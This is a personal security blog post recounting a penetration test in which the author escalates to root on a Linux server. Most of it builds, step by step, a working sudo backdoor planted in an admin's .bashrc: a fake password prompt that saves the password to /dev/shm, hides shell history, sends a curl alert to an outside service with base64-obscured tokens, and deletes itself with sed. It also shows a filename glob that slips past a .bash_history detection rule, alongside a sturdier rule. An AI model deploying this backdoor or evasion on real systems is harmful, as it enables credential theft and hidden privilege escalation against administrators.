Und3rf10w

My random rants and ravings

7 January 2022

Tales from the Terminal: Silly Sudo Backdoors

by Und3rf10w

Overview

I once encountered a situation where I had local, unprivileged user access to a Linux server, and desired to escalate privileges. The server had a number of security monitoring solutions on it (e.g. EDR, shell history auditing), and normal methods that one would rely on to escalate privileges were failing. For example:

In addition, being a production server, attempting to run random kernel exploits found on exploit-db is generally a bad idea.

My first step was the usual trawling of things I could read at my user privilege. Most config files in /etc/ were successfully restricted.

In /opt/ however, a number of applications were running, and most of the configuration files contained secrets that were world readable. That’s cool and all, but none of them were useful for getting me root on this box.

That being said… if the admins of this particular server were that careless with files containing secrets, it made me wonder if there were other things that they were carless about permissions wise…

I did a simple ls of the /home directory and got a result that looked something to the effect of this:

$ ls -la /home
total 0
drwxr-xr-x 1 root                   root                   66  Jan  7 16:10 .
drwxr-xr-x 1 root                   root                   260 Dec 22 15:34 ..
drwxrwxrwx 1 admin                  admin                  0   Jan  7 16:10 admin
drwx------ 1 totallynotafakeuser    totallynotafakeuser    0   Jan  7 16:10 totallynotafakeuser
drwx------ 1 und3rf10w              und3rf10w              764 Jan  7 16:10 und3rf10w

Basically, all of the user directories were restricted to the users themselves, but for some ungodly reason, an account that was obviously an admin (admin in the example above) had a home directory that was world readable.

So… obviously I had to investigate further. Essentially, the admin had some files and scripts in their home directory that other users on the server would occasionally access, which was supposedly the reason for this setup.

Anyways, one important finding stuck out to me. Pretend the below photo is from the actual machine:

I use arch btw

E-zed-pee-zed pwnage, right?

WRONG!

Now, like I mentioned earlier, there was pretty extensive monitoring on this particular box. Accessing the contents of .bash_history for a different user would immediately trigger an alert and I’d probably lose my access.

.bash_history Detection Logic

A fun fact about detection logic though… they’re typically written by human beings, and human beings make mistakes.

A simple pseudologic for a detection rule to detect might look something like:

if ".bash_history" in command_line and action == "FILE_OPEN" and actor != file.owner:
    generate_alert()

So let’s break this down some:

  1. The alert is generated specifically on FILE_OPEN events
  2. The alert is looking for .bash_history in the command line
  3. The alert also depends on the person opening the file not being the owner of the file

Seems like solid detection logic on the surface right?

Well what if instead the attacker ran something like this?:

less .b*h_*y

Because this particular logic relies on the full file name being present in the command that’s being executing, that particular command would would still access the contents of the file, but bypass the detection logic.

One way to resolve this is if you ideally had a field like file.name, you could do something like:

if ".bash_history" == file.name and action == "FILE_OPEN" and actor != file.owner:
    generate_alert()

Regardless if the attacker attempts to obfuscate the command or not, the target file will always still be .bash_history, and the action will always be FILE_OPEN, so this logic would thus be a superior detection case.

I’m sure you can start to see where this is going…

Opening the backdoor

Being able to read the admin’s shell history gave me a ton of valuable context regarding how they manage and use the system, and I could see that they used the sudo command quite a bit.

I figured the best thing to do was backdoor their sudo, right?

There’s always this classic:

alias sudo='echo -n "[sudo] password for $USER: ";stty -echo;read passwd;stty echo;echo;echo $passwd|tee -a password|sudo -S -p ""'

The first result I found on Google is a very similar implementation from Dan Borges.

These are great starting points, but that’s not exactly weaponizable and ready to use. I really only want this to execute once. I don’t know when the admin is going to log on, and the LAST thing I want is for someone to cat their .bashrc and find my poor attempt at a backdoor. I ESPECIALLY don’t want the user to look in their shell history and see that they wrote their password, so this needs to be transparent to them.

So, lets list out the challenges we have to solve first:

Picking a place to write the password

Picking a place to write the password is probably the easiest part. Find somewhere nice to write the file, that any user can write to. Ideally, this would not be on disk and in a volatile region since you don’t want the file to exist for long. A great place is /dev/shm/

Let’s make it interesting and fun for the detection team though and leave a calling card:

I'm really just being cheeky here, but frankly it's hilarious

Now we have fun text to use for a file name, let’s add it to our backdoor:

alias sudo='echo -n "[sudo] password for $USER: ";stty -echo;read passwd;stty echo;echo;echo $passwd|tee -a /dev/shm/.dW5kM3JmMTB3X3dhc19oZXJlCg|sudo -S -p ""'

Don’t log the backdoor execution

You honestly can’t prevent the execution of the backdoor itself being seen if command execution is being shipped off to a central location (like if there’s an EDR on the box), but you can make it harder for the target user to realize that they’ve been pwned after the fact.

This is an easy fix, as we can simply unset the user’s HISTFILE environment variable. We’ll prepend that to our backdoor command:

alias sudo='HISTFILE="" echo -n "[sudo] password for $USER: ";stty -echo;read passwd;stty echo;echo;echo $passwd|tee -a /dev/shm/.dW5kM3JmMTB3X3dhc19oZXJlCg|sudo -S -p ""'

Notify On Execution

For notifications, I’ve always been a huge fan of Pushover. I can control the content of what’s being sent to it, and if the target machine can reach the internet, they usually can reach the Pushover endpoint. Best of all, you can formulate a simple curl command and have it send.

My only personal gripe with it is that I have to include the credentials, but it’s not that big of a deal since they are provisioned on a per application basis. I can simply revoke them after.

A sample curl command for pushover might look like:

curl -s -F "priority=1" \
  -F "token=your_app_token" \ 
  -F "user=your_user_token" \
  -F "message=Hello World" \ 
  https://api.pushover.net/1/messages

Neato, but again, I don’t like exposing my token in plain text. Does encoding protect it? No. Does it make me feel like I’m doing something useful? Yes.

Using variable and command substitution in bash ($()), we can start to have a bit of fun. If I base64 my token value (your_app_token), it becomes eW91cl9hcHBfdG9rZW4K.

We can embed this in the middle of our command and ensure that any errors that are written are silenced by doing 2>/dev/null.

So our command now becomes something like:

curl -s -F "priority=1" \
  -F "token=$(echo eW91cl9hcHBfdG9rZW4K | base64 -d 2>/dev/null)" \ 
  -F "user=$(echo eW91cl91c2VyX3Rva2VuCg | base64 -d 2>/dev/null)" \
  -F "message=$(echo SGVsbG8gV29ybGQK | base64 -d 2>/dev/null)" \
  https://api.pushover.net/1/messages

We’ll again add this to our backdoor and have it execute before the file is written:

alias sudo='HISTFILE="" curl -s -F "priority=1" -F "token=$(echo eW91cl9hcHBfdG9rZW4K | base64 -d 2>/dev/null)" -F "user=$(echo eW91cl91c2VyX3Rva2VuCg | base64 -d 2>/dev/null)" -F "message=$(echo SGVsbG8gV29ybGQK | base64 -d 2>/dev/null)" https://api.pushover.net/1/messages echo -n "[sudo] password for $USER: ";stty -echo;read passwd;stty echo;echo;echo $passwd|tee -a /dev/shm/.dW5kM3JmMTB3X3dhc19oZXJlCg|sudo -S -p ""'

Honestly, a decent approach would be to avoid writing a file altogether and just have the password be shipped to us, but I’m not a huge fan of sending other people someone’s password. This will work well enough.

Cleaning Up After Ourselves

Not gonna lie, I thought my solution for this part was particularly hilarious. The only thing we have left to do is ensure our backdoor deletes itself from the .bashrc file, but it can only delete itself AFTER it executes, to ensure that sudo is backdoored.

This is where the great sed can come in handy.

Sed has a command d that can delete a matching line in a file. Obviously we don’t want to delete anything important, so we need to use a long enough random value. 10 characters should be enough.

That would look something like sed -i '/delete_this_line/d' filename.

$ pwgen 10 1
mi7PhuuCei

Cool, we have a value we can use.

If you wanted to add additional lines to run in the file, we can just add a comment to the end of the line with this value and it’ll delete those lines as well. Obviously you have to ensure that the deletion is the last command that will run though.

We’ll add this last part to our backdoor, which is getting quite long now:

alias sudo='HISTFILE="" curl -s -F "priority=1" -F "token=$(echo eW91cl9hcHBfdG9rZW4K | base64 -d 2>/dev/null)" -F "user=$(echo eW91cl91c2VyX3Rva2VuCg | base64 -d 2>/dev/null)" -F "message=$(echo SGVsbG8gV29ybGQK | base64 -d 2>/dev/null)" https://api.pushover.net/1/messages echo -n "[sudo] password for $USER: ";stty -echo;read passwd;stty echo;echo;echo $passwd|tee -a /dev/shm/.dW5kM3JmMTB3X3dhc19oZXJlCg|sudo -S -p ""' && sed -i '/mi7PhuuCei/d' ~/.bashrc #mi7PhuuCei

We finally built our ridiculous backdoor that cleans up after itself!

Closing Thoughts

At this point, I dropped it into the .bashrc file for the admin and waited. A drawback to this approach was that if the user logged in and DIDN’T execute sudo, it would have cleaned up after itself and I would have had to reinsert the backdoor, but that’s not a big deal if you have consistent access to the box.

Is this anything novel?

No, of course not. Who do you think I am? Honestly I had fun with this, and many lulz were had with the admin after I politely demonstrated that I had root on his server.

seo tags: backdoor - sudo - pushover - penetration_testing - red_team - backdoor - detection_logic - blue_team